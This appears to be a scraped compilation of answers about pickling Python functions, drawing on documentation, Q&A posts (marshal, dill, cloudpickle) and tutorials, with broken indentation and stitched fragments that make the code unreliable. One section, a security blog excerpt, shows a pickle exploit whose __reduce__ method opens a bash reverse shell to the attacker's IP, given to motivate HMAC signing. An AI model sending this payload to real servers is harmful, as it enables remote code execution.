pickle: how does it pickle a function?

The pickle module implements binary protocols for serializing and de-serializing a Python object structure. “Pickling” is the process whereby a Python object hierarchy is converted into a byte stream, and “unpickling” is the inverse operation, whereby a byte stream (from a binary file or bytes-like object) is converted back into an object hierarchy. Pickling (and unpickling) is alternatively known as “serialization”, “marshalling,” [1] or “flattening”; however, to avoid confusion, the terms used here are “pickling” and “unpickling”.,Read the pickled representation of an object from the open file object given in the constructor, and return the reconstituted object hierarchy specified therein. Bytes past the pickled representation of the object are ignored.,Read the pickled representation of an object from the open file object file and return the reconstituted object hierarchy specified therein. This is equivalent to Unpickler(file).load().,For the benefit of object persistence, the pickle module supports the notion of a reference to an object outside the pickled data stream. Such objects are referenced by a persistent ID, which should be either a string of alphanumeric characters (for protocol 0) [5] or just an arbitrary object (for any newer protocol).

class Foo:
   attr = 'A class attribute'

picklestring = pickle.dumps(Foo)

def save(obj):
   return (obj.__class__, obj.__dict__)

def restore(cls, attributes):
   obj = cls.__new__(cls)
obj.__dict__.update(attributes)
return obj

f = io.BytesIO()
p = pickle.Pickler(f)
p.dispatch_table = copyreg.dispatch_table.copy()
p.dispatch_table[SomeClass] = reduce_SomeClass

class MyPickler(pickle.Pickler):
   dispatch_table = copyreg.dispatch_table.copy()
dispatch_table[SomeClass] = reduce_SomeClass
f = io.BytesIO()
p = MyPickler(f)

copyreg.pickle(SomeClass, reduce_SomeClass)
f = io.BytesIO()
p = pickle.Pickler(f)

Suggestion : 2

Last Updated : 13 Nov, 2018

Output:

omkarpathak - Inspiron - 3542: ~/Documents/Python - Programs$ python P60_PickleModule.py
Omkar => {
   'age': 21,
   'name': 'Omkar Pathak',
   'key': 'Omkar',
   'pay': 40000
}
Jagdish => {
   'age': 50,
   'name': 'Jagdish Pathak',
   'key': 'Jagdish',
   'pay': 50000
}

Suggestion : 3

You could serialise the function bytecode and then reconstruct it on the caller. The marshal module can be used to serialise code objects, which can then be reassembled into a function. ie:

import marshal
def foo(x): return x * x
code_string = marshal.dumps(foo.__code__)

Then in the remote process (after transferring code_string):

import marshal, types

code = marshal.loads(code_string)
func = types.FunctionType(code, globals(), "some_func_name")

func(10) # gives 100

Check out Dill, which extends Python's pickle library to support a greater variety of types, including functions:

>>>
import dill as pickle
   >>>
   def f(x): return x + 1
      ...
      >>>
      g = pickle.dumps(f) >>>
      f(1)
2
   >>>
   pickle.loads(g)(1)
2

It also supports references to objects in the function's closure:

>>> def plusTwo(x): return f(f(x))
   ...
   >>>
   pickle.loads(pickle.dumps(plusTwo))(1)
3

In modern Python you can pickle functions, and many variants. Consider this

import pickle, time
def foobar(a, b):
   print("%r %r" % (a, b))

you can pickle it

p = pickle.dumps(foobar)
q = pickle.loads(p)
q(2, 3)

you can pickle closures

import functools
foobar_closed = functools.partial(foobar, 'locked')
p = pickle.dumps(foobar_closed)
q = pickle.loads(p)
q(2)

but if you close it using an internal function, it will fail

def builder():
   z = 'internal'
def mypartial(b):
   return foobar(z, b)
return mypartial
p = pickle.dumps(builder())
q = pickle.loads(p)
q(2)

1._

code_string = ''
'
def foo(x):
   return x * 2
def bar(x):
   return x ** 2 ''
'

obj = pickle.dumps(code_string)

Now

exec(pickle.loads(obj))

foo(1) >
   2
bar(3) >
   9

Usage example:

def add_one(n):
   return n + 1

pickled_function = cloudpickle.dumps(add_one)
pickle.loads(pickled_function)(42)

You can do this:

def fn_generator():
   def fn(x, y):
   return x + y
return fn

Suggestion : 4

Posted by Ashutosh Agrawal on Tuesday, November 18, 2014

The following example code demonstrates a simple client server program. The server connects to a particular port and waits for client to send data. Once it receives the data, it unpickles it.

conn, addr = self.receiver_socket.accept()
data = conn.recv(1024)
return cPickle.loads(data)

If the client is not trusted, an attacker can get remote code to execute on the server and gain access to it.

class Shell_code(object):
   def __reduce__(self):
   return (os.system, ('/bin/bash -i >& /dev/tcp/"Client IP"/"Listening PORT" 0>&1', ))
shell = cPickle.dumps(Shell_code())
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('Server IP', 'Server PORT'))
client_socket.send(shell)

The following example code demonstrates cryptographic signature and verification. The cryptographic signature, as mentioned above, helps in detecting any alteration of pickled data. The client uses HMAC to sign the data. It sends the digest value along with the pickled data to the server as shown below.

pickled_data = pickle.dumps(data)
digest = hmac.new('shared-key', pickled_data, hashlib.sha1).hexdigest()
header = '%s' % (digest)
conn.send(header + ' ' + pickled_data)

Suggestion : 5

Pickling is used to store python objects. This means things like lists, dictionaries, class objects, and more.,For example, we use pickling in the NLTK tutorial series to save our trained machine learning algorithm. This is so that, every time we want to use it, we do not need to constantly re-train it, which takes a while.,Generally, you will find pickling to be most useful with data analysis, where you are performing routine tasks on the data, such as pre-processing. Also, it makes a lot of sense when you're working with Python-specific data types, such as dictionaries.,This tutorial is going to cover the pickle module, which is a part of your standard library with your installation of Python.

import pickle

example_dict = {
   1: "6",
   2: "2",
   3: "f"
}

pickle_out = open("dict.pickle", "wb")
pickle.dump(example_dict, pickle_out)
pickle_out.close()

pickle_in = open("dict.pickle", "rb")
example_dict = pickle.load(pickle_in)

print(example_dict)
print(example_dict[3])